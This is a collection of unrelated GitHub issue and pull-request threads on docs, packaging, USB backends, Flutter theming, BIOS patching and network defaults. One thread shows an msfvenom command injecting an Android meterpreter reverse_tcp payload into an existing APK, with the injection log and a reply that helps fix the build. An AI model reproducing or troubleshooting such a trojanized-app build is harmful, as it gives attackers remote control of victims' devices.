Added Multi-region resilient architecture

New Multi-region resilient architecture for AVD

Enter a meaningful title above^, using a prefix if necessary and keywords "New" or "Update" indicating the nature of changes.

Describe the summary, scope, and intent of this PR:
The intent was to provide customers with a reference architecture based on AVD best reliability recommendations via APRL

Insert links(s) to any related work item(s) or supporting detail:
NA. request Via Swathi Bhat

AFTER YOUR PR HAS BEEN CREATED, expand this section for tips and additional instructions.
These are common guidelines for contributions across the repos managed by the Cloud Architecture Content Team (CACT). Some repositories may have additional specific requirements that are not listed here.
Guidance for all contributors

Topic
Guidance

Draft PR
If your PR will be a work-in-progress for more than a day or two, select the Convert to draft link in the upper right of the page (under Reviewers) to change it to a draft. For future reference, you can also do this using the Create pull request button drop-down during PR creation.

ms.date metadata
Don't update an article's "ms.date" metadata property unless you've done a full freshness review of the content. A full freshness review includes changes required to correct or improve the full technical accuracy of the article.Don't update "ms.date" if you're doing targeted changes to improve non-technical aspects of the article, such as editorial quality, art improvements, article template alignment, etc.If you've changed any "ms.date" properties for work that wasn't part of full review for freshness, please reset them to their previous value.

Placement and linking
If you're creating a new article or articles, include updates to the related TOC.yml file to propose where the article(s) should be placed. Also consider other places within the document set where it would be beneficial to cross-reference and link to your new article(s).

PR build
After you open your PR, and for each successive commit that you push to your branch, the publishing platform will run validation on the files in your pull request. A summary of the build results for each file will be inserted inline into your pull request, which includes any build suggestions/warnings/errors. PRs cannot be merged until all build errors and most warnings are resolved.

Publishing
Following a successful merge, most repos publish to the live site at least once per (business) day, usually around 10am Pacific.

Additional resources
Learn.Microsoft.Com contributor guide

Additional guidance for private repos and internal contributors

Topic
Guidance

PR size
If your PR is more than ~5 lines of changes, or you'd like for the changes to go through editorial or larger review, open a contribution request at https://aka.ms/Contribution and include a link to the PR in response #8. Once it's processed, you'll be notified of the next steps.

PR title prefix
Select the Edit button to the right of the PR title if you need to revise it. The following prefixes are reserved for specific contribution types:[Quality Check] - maintenance work related to content quality (edit passes, art improvements, template alignment)[LinkFix] - recurring/adhoc PRs to correct link URLs[Pipeline] - new/updated contributor success pipeline content[WIP] - a work-in-progress draft requiring several days/weeks

PR preview
Following successful build of your PR, publishable files will also include Preview URL links to staged previews of your new/updated articles. Be sure to review these for verification of your intended contributions, or to send to other internal contributors for review.

PR sign-off (public repo)
If an article you own is updated in a public repo PR, you are responsible for sign-off. You will be automatically notified via email. The PR will not be merged until you've had a chance to review and sign-off.

PR sign-off (private repo)
After you've completed your proposed changes, addressed build warnings, and completed all review work, you can begin the sign-off process for review and merge:If your PR is in draft mode, remove "[WIP]" from the title and select Ready for review button at the bottom of the PR.Enter "#sign-off" in a new comment. This comment indicates that you're confident the work meets or exceeds Microsoft's standards for publication, and will trigger the review process.Your PR may be selected for initial review by the CACT. Following CACT review, you may receive questions or requests for additional changes. You should have initial feedback from CACT review within a few business days. If you have an urgent request or need to contact the team, please mention @MicrosoftDocs/cloud-architecture-content-team-pr-reviewers in your PR and someone will get back to you. After CACT review is complete, a CACT #sign-off will be added.Final review/merge is done by the PR review team. The PR team may also respond with feedback, categorized as "Blocking" (requires action from you), or "Non-blocking" (to be addressed in a future PR).

Additional resources
Learn.Microsoft.Com internal contributor guideAuthoring templates: architecture-center-pr, well-architected-prTo contact the CACT use e-mail, or @mention our GitHub team in your PR comments using: @MicrosoftDocs/cloud-architecture-content-team-pr-reviewers

@danycontre

Can you review this PR?
IMPORTANT: When this content is ready to merge, you must add #sign-off in a comment or the approval may get overlooked.

NOTE: @yshafner - vsdx files for download must be uploaded to the repo in the media folder.
fyi: @MicrosoftDocs/patterns-and-practices-team-pr-reviewers
#label:"aq-pr-triaged"
@MicrosoftDocs/public-repo-pr-review-team


Indexer Sample Code

This PR includes content updates for

features/indexer

Changes include

Adding code samples for all SDKs + cURL

The code samples are "done" and ready for review. I intend to add references to the code samples (pending #12) near the top and bottom of the page.

@ejbaran the latest commits should resolve your comments above. Note the info boxes at the top an bottom now include links to the repo and download file (to-be included in #12).

Nice @ryanRfox . The only thing is the link to the example folder might have to be https://github.com/algorand/docs/tree/master/examples/indexer . That was my bad I think I gave you that other link :)

Good point @ejbaran I now updated the links as if there are in production. To test, please replace /algorand/.../master with /ejbaran/.../raf-sample-code-directories


jdk14: init (restore)

Motivation for this change
It was removed incompletely, while some packages do not support
jdk15 yet, one of them being logstash.

Things done

[ ] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[ ] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[ ] Ensured that relevant documentation is up to date
[ ] Fits CONTRIBUTING.md.

We shouldn't be packaging Java 14 (at least not while marking it as insecure) - it stopped getting security updates in September 2020.
According to their website, logstash should work with openjdk11 too. (which still gets security updates till October 2024 (for AdoptOpenJDK).
@roberth which other packages regressed? I'd prefer if we'd use jdk 11 for those instead of re-introducing an insecure JDK version.
Also cc @jerith666 due to 13e3d2bc4bcef95e2ac0f1bb90581066f2e71b71.

I thought jdk14 was removed by mistake. https://github.com/NixOS/nixpkgs/pull/107547 did not have a motivation section.

Yeah, true. Do you think we can switch logstash to openjdk11?

According to logstash docs, yes. See https://github.com/NixOS/nixpkgs/pull/116936
I also noticed https://github.com/NixOS/nixpkgs/pull/116935


No backend available

When running the test code from the readme, it throws this error:
NoBackendError                            Traceback (most recent call last)
<ipython-input-6-695313e87b17> in <module>()
----> 1 test = pybusylight.busylight()

~//pyBusylight/pybusylight.py in __init__(self, debug)
     18         self.ep = None
     19         self.debug = debug
---> 20         self.__connect_busylight__()
     21         self.red = 255
     22         self.green = 255

~//pyBusylight/pybusylight.py in __connect_busylight__(self)
     27
     28     def __connect_busylight__(self):
---> 29         dev = usb.core.find(idVendor=0x04d8, idProduct=0xf848)
     30
     31         if dev is None: raise ValueError('Device not found')

/usr/local/lib/python3.7/site-packages/usb/core.py in find(find_all, backend, custom_match, **args)
   1261                 break
   1262         else:
-> 1263             raise NoBackendError('No backend available')
   1264
   1265     if find_all:

NoBackendError: No backend available

This is the line that's failing:
https://github.com/ericpulvino/pyBusylight/blob/31f37184736a973e409fdd8f808b1c1c0456110d/pybusylight.py#L29
[EDIT] The above line conflicts with my system's reported product/vendor IDs:
Product ID:	0x3bcd
Vendor ID:	0x27bb

This looks to be an issue with the component of pyusb. Pyusb supports any of 3 different backends but they are not installed by default.
The most common backend is called libusb per https://github.com/pyusb/pyusb/issues/120
If you're on a MAC you can install libusb via:
brew install libusb
On Windows you can follow the info here.
https://github.com/walac/pyusb/blob/master/README.rst#installing
What kind of system are you on?

Check out the example.py too to see all of the various things supported.

Feel free to open another issue as well. Always happy to help. I've been meaning to put this in PyPi but I haven't gotten around to it yet.

@j6k4m8 FYI I'm now catching this error in the most recent version.


Experimental: Git integration

This adds a profile definition which, when loaded, generates groups based on the files which have been changed in source control, in both the branch and the current commit, if relevant. It also updates the formatter to explicitly handle these groups, calling them out with prominence in the UI

“New files in branch” gives coverage of newly created files based on a file comparison with either the target branch, or the primary branch, depending on what context is known. “Files changed in branch” includes all files which have been either created or updated in the branch.
The goal is to make it compare pull requests to their target branches, and to compare changes in normal branches to either the primary branch, or to the prior commit.
This uses the newly added Basscss classes in the annotation gear to present the UI in a nice, simple way.

@sj26 this isn’t complete, but I’d love some feedback on the structure. If you have an idea of how best to implement some workable test fixtures (gzip in a little git repo with known state? mock the File call (see #3) and each git call directly?), that’d be great too. I might have another look at this properly soon.

@ticky shall we merge this and push a new release? It'd be nice to stop using a git source in our own Gemfile :-)


Applying themes to the entire formBuilder

hey  I am trying to apply a theme, basically a set of textStyles, buttons styles, ...  to the entire formBuilder widget and the items in it.
I could go on and add InputDecorations like follow to all widgets but that would be non efficient :
decoration: InputDecoration(
                            labelText: "Stepper",
                            labelStyle: TextStyle(
                                color: Colors.white
                            )
                        )

Is applying a global theme possible and how to do it if true.

I was wondering the same thing

Theme(
theme: Theme.of(context).copyWith(
//Your theme changes
);
):

Hi @moda20 / @rnvitter,
This looks like a sound idea.
However, are you aware that you can set a system-wide InputDecoration theme in your MaterialApp like so:
MaterialApp(
  theme: ThemeData(
    inputDecorationTheme: InputDecorationTheme(
      labelStyle: TextStyle(color: Colors.white),
    ),
  ),
  ...
)

I'll consider adding a form-wide input decoration theme if this issue gets enough upvotes. In the meantime, my suggestion is to use InputDecorationTheme as shown above.

I'll consider adding a form-wide input decoration theme if this issue gets enough upvotes. In the meantime, my suggestion is to use InputDecorationTheme as shown above.

I think wrapping the form builder in a Theme widget or using the suggestion described above is adequate.
For further modifications, we can make our own components and directly control the UI through the conponent's renderer.


Add warning regarding necessary AVX-Support for Calamari to documentation

As several users already had problems with trying to run Calamari prediction / training through OCR4all with either an old CPU w/o AVX or on a virtual machine where AVX passthrough wasn't enabled, we should mention this in the documentation.

see also: https://github.com/OCR4all/OCR4all/issues/106

added to "Common Errors" page


[FLINK-34682][cdc] Add "Understand Flink CDC API" page for Flink CDC docs

This pull requests add "Understand Flink CDC API" page for Flink CDC docs.

@leonardBang Thanks for the review! I re-colored the figure just now.


Stuck in apktool rebuilding apk

msfvenom -x ak.apk -p android/meterpreter/reverse_tcp LHOST=<IP_ADDRESS> LPORT=4444 -o akyu.apk
Using APK template: aku.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[] Creating signing key and keystore..
[] Decompiling original APK..
[] Decompiling payload APK..
[] Locating hook point..
[] Adding payload as package ooo.teachthetechno.akuguru.rqylp
[] Loading /tmp/d20211122-2236-fw7hkb/original/smali/androidx/multidex/MultiDexApplication.smali and injecting payload..
[] Poisoning the manifest with meterpreter permissions..
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Rebuilding apk with meterpreter injection as /tmp/d20211122-2236-fw7hkb/output.apk
[-] I: Using Apktool 2.4.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether sources has changed...
I: Smaling smali_assets folder into assets.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes2 folder into classes2.dex...
I: Checking whether resources has changed...
I: Building resources...
W: invalid resource directory name: /tmp/d20211122-2236-fw7hkb/original/res navigation
brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [/tmp/brut_util_Jar_6912741450818173192.tmp, p, --forced-package-id, 127, --min-sdk-version, 19, --target-sdk-version, 30, --version-code, 18, --version-name, 2.9, --no-version-vectors, -F, /tmp/APKTOOL7420668200181078867.tmp, -e, /tmp/APKTOOL6389394797690019993.tmp, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /tmp/d20211122-2236-fw7hkb/original/res, -M, /tmp/d20211122-2236-fw7hkb/original/AndroidManifest.xml]
Error: Unable to rebuild apk with apktool

You'll want to use aapt2 here.
From this crash line, I know that to be true.
 W: invalid resource directory name: /tmp/d20211122-2236-fw7hkb/original/res navigation

Also the version you have is out of date.


May I use it as a hot patch in Linux?

If I can, may pls tell me how?
Laptop problem
😅

Do the DSDT Patching "Linux no 4G decoding fix" but use the method described on Arch Wiki to extract and apply modified DSDT so you don't have to flash BIOS.
And also boot with pci=realloc

Do the DSDT Patching on wiki "Linux no 4G decoding fix" but use the method described on Arch Wiki to extract and apply modified DSDT so you don't have to flash BIOS.
And also boot with pci=realloc

Thank u, I'd like to try soon.

Do the DSDT Patching on wiki "Linux no 4G decoding fix" but use the method described on Arch Wiki to extract and apply modified DSDT so you don't have to flash BIOS.
And also boot with pci=realloc

What if... my bios is insyde...

@FNsi it doesn't matter

Then how can I know which module should I extract....
And should rename the extracted module name to AmiBoardINfo.efi?

@FNsi don't extract from bios, extracting from running system following arch wiki guide

@FNsi don't extract from bios, extracting from running system following arch wiki guide

Thank u, I gonna do it now.

@FNsi don't extract from bios, extracting from running system following arch wiki guide

I am sorry to brother again....
The code I see is

If ((TOPM != Zero))
                {
                    BTX1 = TOPM /* \TOPM */
                }

                BTMX = (PCBA - One)
                BTLN = (PCBA - BTMN) /* \_SB_.PCI0._CRS.BTMN */
                BTN1 = (PCBL + One)
                BTL1 = (BTX1 - BTN1) /* \_SB_.PCI0._CRS.BTN1 */
                BTL1 += One
                If ((MM64 == One))
                {
                    CreateQWordField (CRES, \_SB.PCI0._Y02._MIN, M1MN)  // _MIN: Minimum Base Address
                    CreateQWordField (CRES, \_SB.PCI0._Y02._MAX, M1MX)  // _MAX: Maximum Base Address
                    CreateQWordField (CRES, \_SB.PCI0._Y02._LEN, M1LN)  // _LEN: Length
                    M1MN = HMB1 /* \HMB1 */
                    M1MX = HMM1 /* \HMM1 */
                    M1LN = HML1 /* \HML1 */
                    CreateQWordField (CRES, \_SB.PCI0._Y03._MIN, M2MN)  // _MIN: Minimum Base Address
                    CreateQWordField (CRES, \_SB.PCI0._Y03._MAX, M2MX)  // _MAX: Maximum Base Address
                    CreateQWordField (CRES, \_SB.PCI0._Y03._LEN, M2LN)  // _LEN: Length
                    M2MN = HMB2 /* \HMB2 */
                    M2MX = HMM2 /* \HMM2 */
                    M2LN = HML2 /* \HML2 */
                }

                M460 ("PLA-ASL-\\_SB.PCI0._CRS End\n", Zero, Zero, Zero, Zero, Zero, Zero)
                Return (CRES) /* \_SB_.PCI0.CRES */
            }

That really stuck me in...
Any suggestions 🙏?

That wired code let me assume the resize bar could be working direct in my system,
Then I try to use Rebarstate, set value to 32 and reboot, now it looks like working, at least show in the ReBarstate current 32, but I see cpu-x still show resize bar disabled...

@FNsi rebarstate doesn't matter you are not using rebardxe
the DSDT code shows your system probably already has a 4g decode option probably hidden (see wiki method) you just have to enable it

@FNsi rebarstate doesn't matter you are not using rebardxe
the DSDT code shows your system probably already has a 4g decode option probably hidden (see wiki method) you just have to enable it

I know, in my system it's mimo and I check it in txt file show it can read 1t... but what should I do now?

Just follow the enabling hidden 4g instructions on wiki
On Thu, May 25, 2023, 8:18 PM FNsi @.***> wrote:

@FNsi https://github.com/FNsi rebarstate doesn't matter you are not
using rebardxe
the DSDT code shows your system probably already has a 4g decode option
probably hidden (see wiki method) you just have to enable it
I know, in my system it's mimo and I check it in txt file show it can read
1t... but what should I do now?
—
Reply to this email directly, view it on GitHub
https://github.com/xCuri0/ReBarUEFI/issues/57#issuecomment-1563043809,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AHBJLVMYUCMQF4YRF2PA2SLXH5WMXANCNFSM6AAAAAAYOT4CXM
.
You are receiving this because you modified the open/close state.Message
ID: @.***>

Just follow the enabling hidden 4g instructions on wiki
On Thu, May 25, 2023, 8:18 PM FNsi @.***> wrote:

@FNsi https://github.com/FNsi rebarstate doesn't matter you are not
using rebardxe
the DSDT code shows your system probably already has a 4g decode option
probably hidden (see wiki method) you just have to enable it
I know, in my system it's mimo and I check it in txt file show it can read
1t... but what should I do now?
—
Reply to this email directly, view it on GitHub
https://github.com/xCuri0/ReBarUEFI/issues/57#issuecomment-1563043809,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AHBJLVMYUCMQF4YRF2PA2SLXH5WMXANCNFSM6AAAAAAYOT4CXM
.
You are receiving this because you modified the open/close state.Message
ID: @.***>

I mean, if the above 4g is the same as mimo, then I am already in it... and I cannot find any set name in above 4g decoding in my bios 😅

@FNsi 4gb mmio is the same thing.
It should give you rebar in Linux with pci=realloc kernel option.
If it doesn't then send your full dmesg

@FNsi 4gb mmio is the same thing.
It should give you rebar in Linux with pci=realloc kernel option.
If it doesn't then send your full dmesg

I suppose I should rebuild the kernel?

@FNsi why rebuild, that's just a kernel command line option

It's different across distros just search Google or something
On Thu, May 25, 2023, 8:51 PM FNsi @.***> wrote:

@FNsi https://github.com/FNsi why rebuild, that's just a kernel command
line option
I don't know it😂 sorry... and .. yes... how to do it?
—
Reply to this email directly, view it on GitHub
https://github.com/xCuri0/ReBarUEFI/issues/57#issuecomment-1563094649,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AHBJLVKJPYPBJKUHBGFOB5LXH52G3ANCNFSM6AAAAAAYOT4CXM
.
You are receiving this because you modified the open/close state.Message
ID: @.***>

It's different across distros just search Google or something
On Thu, May 25, 2023, 8:51 PM FNsi @.***> wrote:

@FNsi https://github.com/FNsi why rebuild, that's just a kernel command
line option
I don't know it😂 sorry... and .. yes... how to do it?
—
Reply to this email directly, view it on GitHub
https://github.com/xCuri0/ReBarUEFI/issues/57#issuecomment-1563094649,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AHBJLVKJPYPBJKUHBGFOB5LXH52G3ANCNFSM6AAAAAAYOT4CXM
.
You are receiving this because you modified the open/close state.Message
ID: @.***>

I assume it's like config***-generic in /boot? All I need to do is add a line called pci=realloc in that file?

Do the DSDT Patching on wiki "Linux no 4G decoding fix" but use the method described on Arch Wiki to extract and apply modified DSDT so you don't have to flash BIOS.
And also boot with pci=realloc

Does this mean I do not flash my bios if I use linux (i.e. skip UEFITool and UEFIPatch part) . Just do dsdt patching is  enough to open my resizable bar?


git clone git@github.com:Lab-ANT/TSpy does not work

The command given in the ReadMe file:
git clone git@github.com:Lab-ANT/TSpy
Does not work!

git clone git@github.com:Lab-ANT/TSpy

Could you please provide the error information? This command works on my machine.
You can also simply download the project from the page, please remember to switch to the dev branch.

It is quite often that network issues will cause the command to fail.
The TSpy project is available at https://github.com/Lab-ANT/TSpy, you can download it from this page

It is quite often that network issues will cause the command to fail. The TSpy project is available at https://github.com/Lab-ANT/TSpy, you can download it from this page

I can not find any valid file in this page https://github.com/Lab-ANT/TSpy, and without these files the project can not work properly

please switch to the dev branch.
---Original---
From: @.>
Date: Wed, Apr 3, 2024 15:28 PM
To: @.>;
Cc: "Chengyu<EMAIL_ADDRESS>Subject: Re: [Lab-ANT/Time2State] git clone @.***:Lab-ANT/TSpy doesnot work (Issue #6)
It is quite often that network issues will cause the command to fail. The TSpy project is available at https://github.com/Lab-ANT/TSpy, you can download it from this page
I can not find any valid file in this page https://github.com/Lab-ANT/TSpy, and without these files the project can not work properly
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you commented.Message ID: @.***>

Hi, I cloned the TSpy repo but there is nothing inside the repo except for the license and the gitignore file.

Hi, I cloned the TSpy repo but there is nothing inside the repo except for the license and the gitignore file.

Please switch to the dev branch by "git checkout dev". You may also download the dev branch directly.

The command given in the ReadMe file: git clone git@github.com:Lab-ANT/TSpy
It also does not work!


Add elapsed time in the final summary

Add elapsed time in the final summary.
Example:
[INF] SUMMARY: total 10 files spanned over 7 subdirectories (took ~3 seconds)
                                                            ~~~~~~~~~~~~~~~~~

Closing it as time command is a very good alternative for this.
I'll consider adding the elapsed time if there is a requirement to report it in the future.


Reduce size of HipChat icon image.

Using the HipChat action, the messages sent include the fastlane icon. This icon is huge and often much larger than the contents of a message, excluding errors with long stack traces. It'd be great to reduce the size of the image used for this to more cleanly fit with more average-sized messages.

Looking at the code, its width should only be 50px: https://github.com/KrauseFx/fastlane/blob/master/lib/fastlane/actions/hipchat.rb#L30
Maybe @jingx23 can help?

A quick test seemed to show that the style section of the img tag was not taking effect. I replaced the tag with:
<img src=\"https://s3-eu-west-1.amazonaws.com/fastlane.tools/fastlane.png\" width=\"50\" height=\"50\">

and the image was properly resized with the next message. This isn't as future-proof, since it's explicitly setting the dimensions of the height as well, but does the trick.

Ah, this is a bit old, but may indicate the issue: https://twitter.com/hipchat/status/309704328229298177
I'll create a pull request with the update.

I think it's quite odd to just put in HTML code. Thanks for providing a pull request :+1:


TagBot trigger issue

This issue is used to trigger TagBot; feel free to unsubscribe.
If you haven't already, you should update your TagBot.yml to include issue comment triggers.
Please see this post on Discourse for instructions and more details.
If you'd like for me to do this for you, comment TagBot fix on this issue.
I'll open a PR within a few hours, please be patient!

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/61116

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/67739

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/67808

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/68058

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/72200

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/74322

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/77076

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/78291

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/78357

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/118325

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.


Github Pages + Cloudflare Custom Domain Error

🐛 Bug Report
Because of my preference, I decided to deploy my website on Github pages. Also, I want to add my custom domain to it.
Unfortunately, my domain provider doesn't allow me to add A or CNAME record. so, I decided to use Cloudflare to help me with it.
It means I will add my website to Cloudflare, then I will configure my CNAME and A records. Then I will provide me 2 DNS records and I will put them in my domain provider. The expected behavior is to see the website goes live, but nope. It shows a baseurl error.
Have you read the Contributing Guidelines on issues?
Yes
To Reproduce
If possible, use https://new.docusaurus.io to create a CodeSandbox reproducible demo of the bug.

A working local website is needed to be there.
Setting the setting of the docusaurus.config.js like below:

  url: 'https://massoudmaboudi.github.io',
  baseUrl: '/datagit_v2.docusaurus/',
  organizationName: 'massoudmaboudi',
  projectName: 'datagit_v2.docusaurus',

Use GIT_USER=massoudmaboudi yarn deploy to deploy the website to Github pages. Now the website is accessible via https://massoudmaboudi.github.io/datagit_v2.docusaurus/ which works perfectly.
Create an account in cloudflare.com and add the website with the below DNS configuration:

Add the custom domain to the Github Pages like below:

Expected behavior
To see the working website on datagit.ir
Actual Behavior
It shows the error of the baseurl like below:

I tried the suggestion to change the baseurl to / instead of /datagit_v2.docusaurus/ but didn't work.
I should mention that when we use Cloudflare, there is no need to have a CNAME inside the static folder based on the search I did.
Your Environment

Public source code: https://github.com/massoudmaboudi/datagit_v2.docusaurus
Public site url:datagit.ir
Docusaurus version used: 2.0.0-alpha.70
Environment name and version (e.g. Chrome 78.0.3904.108, Node.js 10.17.0): Node.js v15.6.0 Chrome Version 88.0.4324.96 (Official Build) (arm64)
Operating system and version (desktop or mobile): macOS Big Sur v11.1

I changed the setting of the docusaurus.config.js like below:
  url: 'https://massoudmaboudi.github.io',
  baseUrl: '/',
  organizationName: 'massoudmaboudi',
  projectName: 'datagit_v2.docusaurus',

and the problem solved.

I changed the setting of the docusaurus.config.js like below:
  url: 'https://massoudmaboudi.github.io',
  baseUrl: '/',
  organizationName: 'massoudmaboudi',
  projectName: 'datagit_v2.docusaurus',

and the problem solved.

great

I tried the suggestion to change the baseurl to / instead of /datagit_v2.docusaurus/ but didn't work.

so using the suggestion '/' did work right?
The CNAME file is required for Github Pages, not for Cloudflare

great

I tried the suggestion to change the baseurl to / instead of /datagit_v2.docusaurus/ but didn't work.

so using the suggestion '/' did work right?
The CNAME file is required for Github Pages, not for Cloudflare


Update contributing-model-relationships.md

Notes for Reviewers
This PR fixes #
Signed commits

[ ] Yes, I signed my commits.

🚀 Preview for commit 5ebf37e29cc3d6884f3f21150dffcef1264b84fe at: https://6690136ce471f914b33fb6c4--meshery-docs-preview.netlify.app

@humblenginr Could we discuss this issue during the Meshery dev meeting call? Please add it as an agenda item to the meeting minutes.

@humblenginr, thoughts on the feedback offered? Please accept or reject each point of feedback.

🚀 Preview for commit ba04c00016e015912a2d84ff137ceba064db3a10 at: https://669a5eabb2a59436b89e90e3--meshery-docs-preview.netlify.app

Updated the warning

🚀 Preview for commit 0ad4eccf04f82d17e85055bf635604af7a3e4488 at: https://669b21d028818da1854f9ebe--meshery-docs-preview.netlify.app


Skip package update with args

Description
Adds feature toggle --skip-package-update to install-consul.
Although not strictly a fix for all apt/yum package issues one might encounter, this suggested feature toggle is consistent with the same feature toggle with install-vault --skip-package-update.
yum/apt update is not strictly deterministic and produces different results, security vulnerabilities, or fails over time.  For this reason some users may chose to produce base images that run yum update, and then continue to run installers on subsequent image builds.  For this to be possible, we need the ability to install software like consul without yum/apt update, so this feature toggle allows users to do that.
Documentation

run install-consul --skip-package-update to avoid running yum/apt update with the installer.  It is recommended that you have already run yum/apt update at some previous point if you choose to use this feature toggle.

TODOs
Please ensure all of these TODOs are completed before asking for a review.

[x] Ensure the branch is named correctly with the issue number. e.g: feature/new-vpc-endpoints-955 or bug/missing-count-param-434.
[ ] Update the docs.
[x] Keep the changes backward compatible where possible.
[ ] Run the pre-commit checks successfully.
[ ] Run the relevant tests successfully.
[ ] Ensure any 3rd party code adheres with our license policy or delete this line if its not applicable.

Related Issues

Thank you for your submission! We require that all contributors sign our Contributor License Agreement ("CLA") before we can accept the contribution. Read and sign the agreement
Learn more about why HashiCorp requires a CLA and what the CLA includes
Have you signed the CLA already but the status is still pending? Recheck it.


BN layer initParams error.

When I train a dcgan with BN  layer, there is always a mistake in initParams., shown in the figure.
I wonder how to address it.

Hi yukuner, sorry for this late reply.
Could you upload the screenshot on the error?


add selector first-line

add selector first-line

i.e. https://developer.mozilla.org/en-US/docs/Web/CSS/::first-line

Duplicate of #1109


Bump is wrong

Pictures here:
https://forums.luxcorerender.org/viewtopic.php?f=4&t=703#p7201

It doesn't look like a bug to me: LuxCore just uses a different sign in the direction of bump mapping when compared to Cycles. If you want to obtain the same Cycles result, you have only to use a negative bump height value.
This is a normal rendering with a Bump height of 5mm (flipped when compared to Cycles):

and this is with a Bump height of -5mm (same as Cycles):

It should be just a different default reference system.

Shadow on depressed square shoud be at the upper and left sides.
Cycles:

Luxcore bump -5mm:
shadows are at the left and lower side

Luxcore bump 5mm:
depression and extrusion switched, but shadows still at wrong sides

I should have fixed the problem (more information avilable at https://forums.luxcorerender.org/viewtopic.php?f=4&t=703&start=10#p7525).


Add default templates for Tekton org projects.

Full list of available files / options listed here:
https://docs.github.com/en/free-pro-team@latest/github/building-a-strong-community/creating-a-default-community-health-file
Most templates taken from pipeline repo, trimmed of any
pipeline-specific instructions.

Thanks for putting this together @wlynch !
I don't see any reason not to merge this so I'm gonna hit the merge button - @vdemeester @afrittoli @abayer @ImJasonH please follow up if we want to change anything.

And then right after I hit merge I realized:
@wlynch I think we want some of these files outside of .github? e.g. in our other repos we have CONTRIBUTING.md, code-of-conduct.md in the top level folder 🤔

Should be fine. These are defaults. From the docs:

For example, anyone who creates an issue or pull request in a public repository that does not have its own CONTRIBUTING file will see a link to the default CONTRIBUTING file. If a repository has any files in its own .github/ISSUE_TEMPLATE folder, including issue templates or a config.yml file, none of the contents of the default .github/ISSUE_TEMPLATE folder will be used.

GitHub will use and display default files for any public repository owned by the account that does not have its own file of that type in any of the following places:

the root of the repository
the .github folder
the docs folder

Ah I guess GitHub supports keeping these known files in any of the above locations


Can't resolve 'react-moment-proptypes'

./node_modules/react-moment-countdown/dist/index.js
Module not found: Can't resolve 'react-moment-proptypes' in '...\node_modules\react-moment-countdown\dist'

Am I doing something wrong? I just used it one of the repo examples.

Hey @santanaruben! Thanks for reaching out.
I need to check it. I'll come back to you when I have something.

try add a file named global.d.ts under src folder:
declare module 'react-moment-countdown';


nixos/avahi: revert closing firewall port by default

Description of changes
Disabling the firewall open for avahi also breaks local discovery of network services rendering avahi none functionally.

Things done

Built on platform(s)

[ ] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
23.05 Release Notes (or backporting 22.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[ ] Fits CONTRIBUTING.md.

Introduced in https://github.com/NixOS/nixpkgs/pull/204618
Discussion at https://discourse.nixos.org/t/global-knob-to-always-set-openfirewall-false/23702/2
I'm not sure we should revert this. I actually disabled this explicitly after being surprised by its default just like @rapenne-s.

This pull request has been mentioned on NixOS Discourse. There might be relevant details there:
https://discourse.nixos.org/t/global-knob-to-always-set-openfirewall-false/23702/7

Many services are useless without opening firewall. Why is this service different in that it should default to true?

Avahi is enabled by default on GNOME.
From what I was able to find, opening the port itself should be safe (modulo vulnerabilities):

https://kb.iweb.com/hc/en-us/articles/360005117952-Guide-to-Multicast-DNS-mDNS-security-issues

So the main problem is probably information gathering or device fingerprinting.
But like with the other services, I am not sure increasing the attack surface without user’s explicit consent is a good trade-off. Especially for an unauthenticated service like this.
